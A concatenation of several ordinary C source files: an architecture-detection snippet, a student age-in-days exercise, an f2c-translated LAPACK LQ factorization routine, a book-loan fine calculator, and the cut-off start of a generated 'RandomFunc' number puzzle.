#if defined(_CRAY1)
var = "CRAY_X_MP";
#endif
#if defined(__ia64) || defined(__ia64__) || defined(___IA64__) || defined(_M_IA64)
var = "IA64";
#endif
#if defined(__m68k__) || defined(M68000)
var = "M68K";
#endif
#if defined(__mips__) || defined(_MIPS_ISA) || defined(_R3000) || defined(_R4000) || defined(__mips) || defined(__MIPS__)
var = "MIPS";
#endif
#if defined(__hppa__) || defined(__hppa)
var = "PARISC";
#endif
#if defined(__powerpc) || defined(__powerpc__) || defined(__POWERPC__) || defined(__ppc__) || defined(_M__ARCH_PPC)
var = "PPC";
#endif
#if defined(__powerpc64) || defined(__powerpc64__) || defined(__POWERPC64__) || defined(__ppc64__) || defined(_ARCH_PPC64)
var = "PPC64";
#endif
#if defined(__THW__IBMR2) || defined(_POWER) || defined(_ARCH_PWR) || defined(_ARCH_PWR2)
var = "RS6000";
#endif
#if defined(__sparc__) || defined(__sparc) || defined(__sparcv8) || defined(__sparcv9)
var = "SPARC";
#endif
#if defined(__sh__) || defined(__sh1__) || defined(__sh2__) || defined(__sh3__) || defined(__SH3__) || defined(__SH4__) || defined(__SH5__)
var = "SUPERH";
#endif
#if defined(__370__) || defined(__THW_370__)
var = "SYSTEM_370";
#endif
#if defined(__s390__) || defined(__s390x__)
var = "SYSTEM_390";
#endif
#if defined(__i386__) || defined(__i386__) || defined(__i486__) || defined(__i586__) || defined(__i686__) || defined(__i386) || defined(_M_I_X86_) || defined(__THW_INTEL__) || defined(__I86__) || defined(__INTEL__)
var = "X86";
#endif
#if defined(__amd64__) || defined(__amd64) || defined(__x86_64__) || defined(__x86_64)
var = "X86_64";
#endif
#if defined(__SYSC_ZARCH__)
var = "Z_ARCHITECTURE";
#endif
printf("SYSDEP_ARCH_%s\n", var);
return 0;
}
|
the_stack_data/59459.c | //1.Faça um algoritmo que leia a idade de uma pessoa expressa em anos,
//meses e dias e mostre-a expressa apenas em dias.
#include <stdio.h>
int main(){
int a, b, c;
printf("Digite sua idade em anos: ");
scanf("%d", &a);
printf("Em meses: ");
scanf("%d", &b);
printf("Em dias: ");
scanf("%d", &c);
int idade;
idade = (a*365) + (b*30) + c;
printf("Voce tem %d dias de vida.", idade);
} |
the_stack_data/150260.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b CTPLQT */
/* Definition: */
/* =========== */
/* SUBROUTINE CTPLQT( M, N, L, MB, A, LDA, B, LDB, T, LDT, WORK, */
/* INFO ) */
/* INTEGER INFO, LDA, LDB, LDT, N, M, L, MB */
/* COMPLEX A( LDA, * ), B( LDB, * ), T( LDT, * ), WORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > CTPLQT computes a blocked LQ factorization of a complex */
/* > "triangular-pentagonal" matrix C, which is composed of a */
/* > triangular block A and pentagonal block B, using the compact */
/* > WY representation for Q. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] M */
/* > \verbatim */
/* > M is INTEGER */
/* > The number of rows of the matrix B, and the order of the */
/* > triangular matrix A. */
/* > M >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of columns of the matrix B. */
/* > N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] L */
/* > \verbatim */
/* > L is INTEGER */
/* > The number of rows of the lower trapezoidal part of B. */
/* > MIN(M,N) >= L >= 0. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] MB */
/* > \verbatim */
/* > MB is INTEGER */
/* > The block size to be used in the blocked QR. M >= MB >= 1. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is COMPLEX array, dimension (LDA,M) */
/* > On entry, the lower triangular M-by-M matrix A. */
/* > On exit, the elements on and below the diagonal of the array */
/* > contain the lower triangular matrix L. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,M). */
/* > \endverbatim */
/* > */
/* > \param[in,out] B */
/* > \verbatim */
/* > B is COMPLEX array, dimension (LDB,N) */
/* > On entry, the pentagonal M-by-N matrix B. The first N-L columns */
/* > are rectangular, and the last L columns are lower trapezoidal. */
/* > On exit, B contains the pentagonal matrix V. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDB */
/* > \verbatim */
/* > LDB is INTEGER */
/* > The leading dimension of the array B. LDB >= f2cmax(1,M). */
/* > \endverbatim */
/* > */
/* > \param[out] T */
/* > \verbatim */
/* > T is COMPLEX array, dimension (LDT,N) */
/* > The lower triangular block reflectors stored in compact form */
/* > as a sequence of upper triangular blocks. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDT */
/* > \verbatim */
/* > LDT is INTEGER */
/* > The leading dimension of the array T. LDT >= MB. */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is COMPLEX array, dimension (MB*M) */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2017 */
/* > \ingroup doubleOTHERcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > The input matrix C is a M-by-(M+N) matrix */
/* > */
/* > C = [ A ] [ B ] */
/* > */
/* > */
/* > where A is an lower triangular M-by-M matrix, and B is M-by-N pentagonal */
/* > matrix consisting of a M-by-(N-L) rectangular matrix B1 on left of a M-by-L */
/* > upper trapezoidal matrix B2: */
/* > [ B ] = [ B1 ] [ B2 ] */
/* > [ B1 ] <- M-by-(N-L) rectangular */
/* > [ B2 ] <- M-by-L lower trapezoidal. */
/* > */
/* > The lower trapezoidal matrix B2 consists of the first L columns of a */
/* > M-by-M lower triangular matrix, where 0 <= L <= MIN(M,N). If L=0, */
/* > B is rectangular M-by-N; if M=L=N, B is lower triangular. */
/* > */
/* > The matrix W stores the elementary reflectors H(i) in the i-th row */
/* > above the diagonal (of A) in the M-by-(M+N) input matrix C */
/* > [ C ] = [ A ] [ B ] */
/* > [ A ] <- lower triangular M-by-M */
/* > [ B ] <- M-by-N pentagonal */
/* > */
/* > so that W can be represented as */
/* > [ W ] = [ I ] [ V ] */
/* > [ I ] <- identity, M-by-M */
/* > [ V ] <- M-by-N, same form as B. */
/* > */
/* > Thus, all of information needed for W is contained on exit in B, which */
/* > we call V above. Note that V has the same form as B; that is, */
/* > [ V ] = [ V1 ] [ V2 ] */
/* > [ V1 ] <- M-by-(N-L) rectangular */
/* > [ V2 ] <- M-by-L lower trapezoidal. */
/* > */
/* > The rows of V represent the vectors which define the H(i)'s. */
/* > */
/* > The number of blocks is B = ceiling(M/MB), where each */
/* > block is of order MB except for the last block, which is of order */
/* > IB = M - (M-1)*MB. For each of the B blocks, a upper triangular block */
/* > reflector factor is computed: T1, T2, ..., TB. The MB-by-MB (and IB-by-IB */
/* > for the last block) T's are stored in the MB-by-N matrix T as */
/* > */
/* > T = [T1 T2 ... TB]. */
/* > \endverbatim */
/* > */
/* ===================================================================== */
/* Subroutine */ int ctplqt_(integer *m, integer *n, integer *l, integer *mb,
complex *a, integer *lda, complex *b, integer *ldb, complex *t,
integer *ldt, complex *work, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, b_dim1, b_offset, t_dim1, t_offset, i__1, i__2,
i__3, i__4;
/* Local variables */
integer i__, iinfo, ib, lb, nb;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen), ctprfb_(
char *, char *, char *, char *, integer *, integer *, integer *,
integer *, complex *, integer *, complex *, integer *, complex *,
integer *, complex *, integer *, complex *, integer *), ctplqt2_(integer *, integer *, integer *,
complex *, integer *, complex *, integer *, complex *, integer *,
integer *);
/* -- LAPACK computational routine (version 3.7.1) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2017 */
/* ===================================================================== */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
b_dim1 = *ldb;
b_offset = 1 + b_dim1 * 1;
b -= b_offset;
t_dim1 = *ldt;
t_offset = 1 + t_dim1 * 1;
t -= t_offset;
--work;
/* Function Body */
*info = 0;
if (*m < 0) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*l < 0 || *l > f2cmin(*m,*n) && f2cmin(*m,*n) >= 0) {
*info = -3;
} else if (*mb < 1 || *mb > *m && *m > 0) {
*info = -4;
} else if (*lda < f2cmax(1,*m)) {
*info = -6;
} else if (*ldb < f2cmax(1,*m)) {
*info = -8;
} else if (*ldt < *mb) {
*info = -10;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("CTPLQT", &i__1, (ftnlen)6);
return 0;
}
/* Quick return if possible */
if (*m == 0 || *n == 0) {
return 0;
}
i__1 = *m;
i__2 = *mb;
for (i__ = 1; i__2 < 0 ? i__ >= i__1 : i__ <= i__1; i__ += i__2) {
/* Compute the QR factorization of the current block */
/* Computing MIN */
i__3 = *m - i__ + 1;
ib = f2cmin(i__3,*mb);
/* Computing MIN */
i__3 = *n - *l + i__ + ib - 1;
nb = f2cmin(i__3,*n);
if (i__ >= *l) {
lb = 0;
} else {
lb = nb - *n + *l - i__ + 1;
}
ctplqt2_(&ib, &nb, &lb, &a[i__ + i__ * a_dim1], lda, &b[i__ + b_dim1],
ldb, &t[i__ * t_dim1 + 1], ldt, &iinfo);
/* Update by applying H**T to B(I+IB:M,:) from the right */
if (i__ + ib <= *m) {
i__3 = *m - i__ - ib + 1;
i__4 = *m - i__ - ib + 1;
ctprfb_("R", "N", "F", "R", &i__3, &nb, &ib, &lb, &b[i__ + b_dim1]
, ldb, &t[i__ * t_dim1 + 1], ldt, &a[i__ + ib + i__ *
a_dim1], lda, &b[i__ + ib + b_dim1], ldb, &work[1], &i__4);
}
}
return 0;
/* End of CTPLQT */
} /* ctplqt_ */
|
the_stack_data/125141581.c | #include <stdio.h>
#include <stdlib.h>
#pragma warning (disable: 4996)
#define MAXIMUM_LOAN_PERIOD 14
#define FINE_RATE 0.20
void main()
{
double amountFined;
int numberOfBooks, daysBorrowed, numberOfDaysOverdue;
printf("Book Loan System\n");
printf("Enter the quantity of the book/books :");
scanf("%d", &numberOfBooks);
printf("Enter the day of the loan :");
scanf("%d", &daysBorrowed);
numberOfDaysOverdue = daysBorrowed - MAXIMUM_LOAN_PERIOD;
amountFined = numberOfDaysOverdue * FINE_RATE * numberOfBooks;
printf("Days overdue :%d\n" ,numberOfDaysOverdue);
printf("Fine :%.2f\n" ,amountFined);
system("pause");
}
|
the_stack_data/883334.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
int main(int argc , char *argv[] )
{
unsigned long input[1] ;
unsigned long output[1] ;
int randomFuns_i5 ;
unsigned long randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 18446744073311108007UL) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%lu\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void megaInit(void)
{
{
}
}
void RandomFunc(unsigned long input[1] , unsigned long output[1] )
{
unsigned long state[1] ;
unsigned long local1 ;
unsigned short copy11 ;
{
state[0UL] = (input[0UL] + 51238316UL) + 274866410UL;
